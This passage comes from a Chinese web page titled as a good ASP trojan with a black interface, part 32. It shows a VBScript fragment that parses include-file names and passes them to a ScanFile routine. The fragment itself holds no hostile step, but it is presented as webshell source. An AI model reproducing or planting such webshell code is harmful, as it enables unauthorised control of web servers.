一款不错的asp木马 黑色界面(32)

i, 1)
                    If tmp <> " " and tmp <> chr(9) 
and tmp <> vbCrLf Then
                        Exit For
                    End If
                Next
                If tmp = """" Then
                    tmpName = Mid(tmpLake2, 
srcSeek2 + i + 1, Instr(srcSeek2 + i + 1, tmpLake2, """") - srcSeek2 - 
i - 1)
                Else
                    If InStr(srcSeek2 + i + 1, 
tmpLake2, " ") > 0 Then tmpName = Mid(tmpLake2, srcSeek2 + i, Instr
(srcSeek2 + i + 1, tmpLake2, " ") - srcSeek2 - i) Else tmpName = 
tmpLake2
                    If InStr(tmpName, chr(9)) > 0 
Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, chr(9)) - 1)
                    If InStr(tmpName, vbCrLf) > 0 
Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, vbcrlf) - 1)
                    If InStr(tmpName, ">") > 0 Then 
tmpName = Mid(tmpName, 1, Instr(1, tmpName, ">") - 1)
                End If
                Call ScanFile( Mid(FilePath,1,InStrRev
(FilePath,"\"))&tmpName , replace(FilePath,server.MapPath("\")
&"\","",1,1,1))
                SumFiles = SumFiles + 1